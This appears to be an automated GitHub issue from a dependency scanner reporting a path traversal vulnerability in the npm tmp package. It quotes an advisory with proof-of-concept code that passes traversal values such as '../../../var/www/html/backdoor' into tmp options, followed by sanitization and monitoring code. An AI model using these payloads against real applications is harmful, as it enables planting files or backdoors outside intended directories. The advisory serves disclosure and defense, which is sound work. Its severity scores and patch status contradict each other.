Skip to content

CVE-2026-44705 (High) detected in tmp-0.2.5.tgz #366

@mend-bolt-for-github

Description

@mend-bolt-for-github

CVE-2026-44705 - High Severity Vulnerability

Vulnerable Library - tmp-0.2.5.tgz

Temporary file and directory creator

Library home page: https://registry.npmjs.org/tmp/-/tmp-0.2.5.tgz

Path to dependency file: /ui/package.json

Path to vulnerable library: /ui/node_modules/.pnpm/tmp@0.2.5/node_modules/tmp/package.json

Dependency Hierarchy:

  • @⁠postgres.ai/ce-4.0.3.tgz (Root Library)
    • cypress-14.5.4.tgz
      • tmp-0.2.5.tgz (Vulnerable Library)

Found in base branch: master

Vulnerability Details

Summary The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the "prefix", "postfix", or "dir" options. By embedding traversal sequences (e.g., "../") or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. Details Root Cause: The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation. Technical Flow: 1. Filename Construction: tmp builds filenames as "---" 2. Path Composition: Final path computed as "path.join(tmpDir, opts.dir, name)" 3. Path Normalization: Node.js "path.join()" normalizes traversal sequences, allowing escape 4. File Creation: File created at the resulting (potentially escaped) path Vulnerable Pattern: // In tmp package internals const name = "${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}"; const finalPath = path.join(tmpDir, opts.dir || '', name); // No validation that finalPath remains within tmpDir Path Traversal Mechanics: - prefix/postfix traversal: "../../../evil" in prefix escapes directory structure - Absolute path bypass: If "opts.dir" is absolute, "path.join()" ignores "tmpDir" completely - Normalization exploitation: "path.join()" resolves "../" sequences regardless of surrounding text - Cross-platform impact: Works on Windows (".."), Unix ("../"), and mixed path systems Key Vulnerability Points: - No input validation on "prefix", "postfix", or "dir" parameters - Direct use of user input in path construction - Reliance on "path.join()" normalization without containment checks - Missing post-construction validation that final path remains within intended directory PoC Basic Path Traversal via prefix: const tmp = require('tmp'); const path = require('path'); const fs = require('fs'); // Create a controlled base directory const baseDir = fs.mkdtempSync('/tmp/safe-base-'); console.log('Base directory:', baseDir); // Escape via prefix tmp.file({ tmpdir: baseDir, prefix: '../escaped' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Created file:', filepath); console.log('Relative to base:', path.relative(baseDir, filepath)); // Output shows: ../escaped-- cleanup(); }); Directory Escape via postfix: tmp.file({ tmpdir: baseDir, postfix: '/../../pwned.txt' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Escaped file:', filepath); console.log('Escaped outside base:', !filepath.startsWith(baseDir)); cleanup(); }); Absolute Path Bypass via dir: tmp.file({ tmpdir: '/safe/tmp/dir', dir: '/tmp/evil-location', prefix: 'bypassed' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Bypassed to:', filepath); // File created in /tmp/evil-location instead of /safe/tmp/dir cleanup(); }); Advanced Multi-Vector Attack: const maliciousOpts = { tmpdir: '/app/safe-tmp', dir: '../../../tmp', // Escape base prefix: '../sensitive-area/', // Further traversal postfix: 'malicious.config' // Controlled filename }; tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => { // Results in file creation at: /tmp/sensitive-area/malicious.config console.log('Final malicious path:', filepath); cleanup(); }); Real-World Attack Simulation: // Simulate web API that accepts user file prefix function createUserTempFile(userPrefix, content) { return new Promise((resolve, reject) => { tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => { if (err) return reject(err); fs.writeSync(fd, content); console.log('User file created at:', path); resolve({ path, cleanup }); }); }); } // Attacker input const attackerPrefix = '../../../var/www/html/backdoor'; createUserTempFile(attackerPrefix, ''); // Creates PHP backdoor in web root instead of temp directory Impact Arbitrary File Creation: - Files created outside intended temporary directories - Attacker control over file placement location - Potential to overwrite existing files (depending on creation flags) - Cross-platform exploitation capability Attack Scenarios: 1. Web Application Configuration Poisoning: - User uploads file with malicious prefix/postfix - tmp creates "temporary" file in application configuration directory - Malicious configuration loaded on next application restart 2. Cache Poisoning: - Application caches user content using tmp - Attacker escapes to cache directory of different user/tenant - Poisoned cache serves malicious content to other users 3. Build Pipeline Compromise: - CI/CD system processes user PRs with tmp usage - Malicious prefix escapes to build output directories - Compromised build artifacts deployed to production 4. Container Escape Attempt: - Containerized application uses tmp with user input - Attacker attempts to escape container temp restrictions - Files created in host-mapped volumes or sensitive container areas 5. Multi-Tenant Service Bypass: - SaaS platform isolates tenants using separate tmp directories - Tenant A escapes their tmp space to tenant B's area - Cross-tenant data access and potential privilege escalation Business Impact: - Data Integrity: Unauthorized file placement can corrupt application state - Service Disruption: Files in wrong locations may break application functionality - Security Bypass: Escape temporary isolation boundaries - Compliance Violations: Files containing sensitive data placed in uncontrolled locations Affected Products - Ecosystem: npm - Package name: tmp - Repository: github.com/raszi/node-tmp - Affected versions: All versions with vulnerable path construction logic - Patched versions: None currently available Component Impact: - "tmp.file()" function - vulnerable to prefix/postfix/dir traversal - "tmp.dir()" function - vulnerable to same parameter manipulation - "tmp.tmpName()" function - if using affected path construction Severity: High CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L) CWE Classification: - CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) Remediation Input Validation and Sanitization: 1. Sanitize prefix/postfix: function sanitizePrefix(prefix) { if (!prefix) return ''; // Remove path separators and traversal sequences return path.basename(String(prefix)).replace(/[./]/g, '-'); } function sanitizePostfix(postfix) { if (!postfix) return ''; // Allow only safe characters return String(postfix).replace(/[^A-Za-z0-9._-]/g, ''); } 2. Validate dir parameter: function validateDir(dir, baseDir) { if (!dir) return ''; // Reject absolute paths if (path.isAbsolute(dir)) { throw new Error('Absolute paths not allowed for dir option'); } // Resolve and check containment const resolved = path.resolve(baseDir, dir); const relative = path.relative(baseDir, resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Dir option escapes base directory'); } return dir; } 3. Post-construction path validation: function validateFinalPath(finalPath, baseDir) { const resolved = path.resolve(finalPath); const relative = path.relative(path.resolve(baseDir), resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Generated path escapes temporary directory'); } return resolved; } Secure Implementation Pattern: function createTempFile(options) { const opts = { ...options }; // Sanitize inputs opts.prefix = sanitizePrefix(opts.prefix); opts.postfix = sanitizePostfix(opts.postfix); opts.dir = validateDir(opts.dir, opts.tmpdir); // Create with sanitized options return tmp.file(opts, (err, path, fd, cleanup) => { if (err) return callback(err); // Validate final path try { validateFinalPath(path, opts.tmpdir); } catch (validationErr) { cleanup(); return callback(validationErr); } callback(null, path, fd, cleanup); }); } Workarounds For Application Developers: 4. Input Sanitization: // Sanitize before passing to tmp function safeTmpFile(userOptions) { const safeOpts = { ...userOptions, prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined, postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined, dir: undefined // Don't allow user-controlled dir }; return tmp.file(safeOpts); } 5. Path Validation: function validateTmpPath(tmpPath, expectedBase) { const relativePath = path.relative(expectedBase, tmpPath); if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) { throw new Error('Temporary file path escaped base directory'); } return tmpPath; } 6. Restricted Usage: // Only use tmp with known-safe, literal values tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback); // Never: tmp.file({ prefix: userInput }, callback); For Security Teams: 7. Code Review Patterns: Search for dangerous tmp usage grep -r "tmp.file.*prefix.*req|tmp.file.*postfix.*req" . grep -r "tmp.dir.*opts|tmp.file.opts" . 2. Runtime Monitoring: // Monitor for files created outside expected temp areas const originalFile = tmp.file; tmp.file = function(options, callback) { return originalFile(options, (err, path, fd, cleanup) => { if (!err && options.tmpdir) { const relative = require('path').relative(options.tmpdir, path); if (relative.startsWith('..')) { console.warn('Path traversal detected:', path); } } return callback(err, path, fd, cleanup); }); }; Detection and Monitoring Static Analysis: - Scan for tmp usage with user-controlled input - Identify unsanitized parameter passing to tmp functions - Review file creation patterns in temporary directories Runtime Detection: // Log suspicious tmp operations function monitorTmpUsage() { const originalTmpFile = require('tmp').file; require('tmp').file = function(options = {}, callback) { // Check for suspicious patterns const suspicious = [ options.prefix && options.prefix.includes('..'), options.postfix && options.postfix.includes('..'), options.dir && path.isAbsolute(options.dir) ].some(Boolean); if (suspicious) { console.warn('Suspicious tmp usage detected:', options); } return originalTmpFile.call(this, options, callback); }; } File System Monitoring: Monitor file creation outside expected temp directories inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do if [[ "$event" == "CREATE" && "$file" != /tmp/tmp- ]]; then echo "Unexpected file creation: $file" fi done Acknowledgements Reported by: Mapta / BugBunny_ai

Publish Date: 2026-05-27

URL: CVE-2026-44705

CVSS 3 Score Details (7.5)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: Low
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
  • Impact Metrics:
    • Confidentiality Impact: High
    • Integrity Impact: None
    • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-ph9p-34f9-6g65

Release Date: 2026-05-27

Fix Resolution: tmp - 0.2.6


Step up your Open Source Security Game with Mend here

Metadata

Metadata

Assignees

No one assigned

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions